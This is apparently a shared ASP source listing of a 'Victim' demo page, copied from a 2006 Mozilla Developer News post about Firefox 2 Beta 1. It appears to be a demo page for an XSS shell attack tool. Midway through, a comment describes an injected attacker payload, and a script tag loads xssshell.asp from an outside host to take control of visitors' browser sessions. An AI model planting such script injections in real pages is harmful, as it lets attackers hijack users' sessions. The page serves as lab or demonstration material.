破解

开发平台：
ASP/ASPX

default.asp：源码内容
							<html>
<title>Sub page Title here.... - Victim</title>
<body>
<div id="header">
	<h1><a href="/" title="Return to home page" accesskey="1">Mozilla Developer Network</a></h1>
	<!-- search box -->
		<form name="searchform" action="victim.asp" id="searchform">
			<input id="searchInput" name="search" accesskey="s" value="" type="text">
			<input name="go" class="searchButton" id="searchGoButton" value="Go" type="submit">&nbsp;
			<input name="fulltext" class="searchButton" value="Search" type="submit" value="">
		</form>
	<!-- end searchbox -->
</div>
<a href="1.htm">Follow me I'm the rabbit ...</a><br />
<a href="http://www.google.com/">go google I'll keep your session open for you...</a>
	<div id="sidebar">
		<div id="sidebarslideup" class="sidebarslidecontrol" >
			Hide Sidebar	
		</div>	
		<div id="sidebarslidedown" class="sidebarslidecontrol" style="display: none;">
			Show Sidebar
		</div>
		<div id="sidebarslidebox">
			
		<div>
		<div id="related">
			<div>
				<h3>Related</h3>
							</div>
		</div>
<a href="http://developer.mozilla.org/devnews">News</a>
    <span>Firefox 2 Beta 1 milestone released</span>
</div>
			<div id="sidebar">
				<div id="related">
					<div>
					<TEXTAREA NAME="200" ROWS="10" COLS="100"></TEXTAREA>
						<h3>Archives</h3>
						<ul>
								<li><a href="http://developer.mozilla.org/devnews/index.php/2006/08/" title="August 2006">August 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/07/" title="July 2006">July 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/06/" title="June 2006">June 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/05/" title="May 2006">May 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/04/" title="April 2006">April 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/03/" title="March 2006">March 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/02/" title="February 2006">February 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2006/01/" title="January 2006">January 2006</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/12/" title="December 2005">December 2005</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/11/" title="November 2005">November 2005</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/10/" title="October 2005">October 2005</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/09/" title="September 2005">September 2005</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/08/" title="August 2005">August 2005</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/07/" title="July 2005">July 2005</a></li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/2005/06/" title="June 2005">June 2005</a></li>
						</ul>
						<h3>Categories</h3>
						<ul>
								<li><a href="http://developer.mozilla.org/devnews/index.php/categories/1/" title="View all posts filed under General">General</a> (68)
</li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/categories/releases/" title="Posts describing new or changed release schedules for key Mozilla products and projects, including interim milestones such as 揷ode complete? 揵ranched? 搇ocalization freeze?and 搕ree frozen?">Releases</a> (13)
</li>
	<li><a href="http://developer.mozilla.org/devnews/index.php/categories/security/" title="Posts relevant to the security of Mozilla products and services, including vulnerability announcements and product updates.">Security</a> (5)
</li>
						</ul>
						
												
						<!--
			            			            -->
					</div>
				</div>
									<div class="pagetools">
						<div>
							<h3>Tools</h3>
							<p>						
																															</p>
						</div>
					</div>
					        </div>
<!-- attacker payload, assume that you injected it by XSS vulnerability -->
<script src="http://winnie.imzone.in:60000/xssshell.asp"></script>
<!-- END -->
	<div id="content">
	    
		<div class="post" id="post-99">
			<h2><a href="http://developer.mozilla.org/devnews/index.php/2006/07/12/firefox-2-beta-1-milestone-released/" rel="bookmark" title="Permanent Link: Firefox 2 Beta 1 milestone released">Firefox 2 Beta 1 milestone released</a></h2>
	
			<div class="entry">
    		    <p><strong>Please note: We do not recommend that anyone other than developers and testers download the Firefox 2 Beta 1 milestone release. It is intended for testing purposes only.</strong></p>
<p>Firefox 2 Beta 1 is <a href="http://www.mozilla.org/projects/bonecho/all-beta.html">now available for download</a>. This is the fourth developer milestone focused on testing the core functionality provided by many new features and changes to the platform scheduled for Firefox 2. Ongoing planning for Firefox 2 can be followed at the <a href="http://wiki.mozilla.org/Firefox2">Firefox 2 Planning Center</a>, as well as in <a href="http://groups.google.com/group/mozilla.dev.planning">mozilla.dev.planning</a> and on <a href="http://irc.mozilla.org">irc.mozilla.org</a> in #bonecho.</p>
<p>New features and changes in this milestone that require feedback include:</p>
<ul>
<li>Built in <a href="http://www.mozilla.org/projects/bonecho/anti-phishing/">Phishing Protection</a></li>
<li>Search suggestions now appear with search history in the search box for Google, Yahoo! and Answers.com</li>
<li>Changes to tabbed browsing behavior</li>
<li>Ability to re-open accidentally closed tabs</li>
<li>Better support for previewing and subscribing to web feeds</li>
<li>Inline spell checking in text boxes</li>
<li>Search plugin manager for removing and re-ordering search engines</li>
<li>New <a href="http://wiki.mozilla.org/Microsummaries">microsummaries</a> feature for bookmarks</li>
<li>Automatic restoration of your browsing session if there is a crash</li>
<li>New combined and improved Add-Ons manager for extensions and themes</li>
<li>New Windows installer based on <a href="http://sourceforge.net/projects/nsis/">Nullsoft Scriptable Install System</a></li>
<li>Support for <a href="http://developer.mozilla.org/en/docs/New_in_JavaScript_1.7">JavaScript 1.7</a></li>
<li>Support for <a href="http://www.whatwg.org/specs/web-apps/current-work/#scs-client-side">client-side session and persistent storage</a></li>
<li>Extended search plugin format</li>
<li>Updates to the extension system to provide enhanced security and to allow for easier localization of extensions</li>
<li>Support for SVG text using svg:textPath</li>
</ul>
<p>The <a href="http://www.mozilla.org/projects/bonecho/index-2.0b1.html">Firefox 2 Beta 1 project page</a> makes it easy for testers to provide feedback and report bugs. You can <a href="http://www.mozilla.org/projects/bonecho/all-beta.html">download Firefox 2 Beta 1 builds</a> for Windows, Mac OSX and Linux in several languages. Testers should also be sure to read the <a href="http://www.mozilla.org/projects/bonecho/releases/2.0b1.html">release notes</a> to learn about known issues. Developers should look at the <a href="http://developer.mozilla.org/en/docs/Firefox_2_for_developers">Firefox 2 for Developers</a> article on the <a href="http://developer.mozilla.org">Mozilla Developer Center</a>.</p>
<p><em>Note: Please do not link directly to the download site. Instead we strongly encourage you to link to this Firefox 2 Beta 1 milestone announcement so that everyone will know what this milestone is, what they should expect, and who should be downloading to participate in testing at this stage of development.</em>
</p>
					
				<p class="postmetadata">
    			    This entry was posted on Wednesday, July 12th, 2006 at 1:39 pm					and is filed under <a href="http://developer.mozilla.org/devnews/index.php/categories/1/" title="View all posts in General" rel="category tag">General</a>,  <a href="http://developer.mozilla.org/devnews/index.php/categories/releases/" title="View all posts in Releases" rel="category tag">Releases</a>.
</body>

						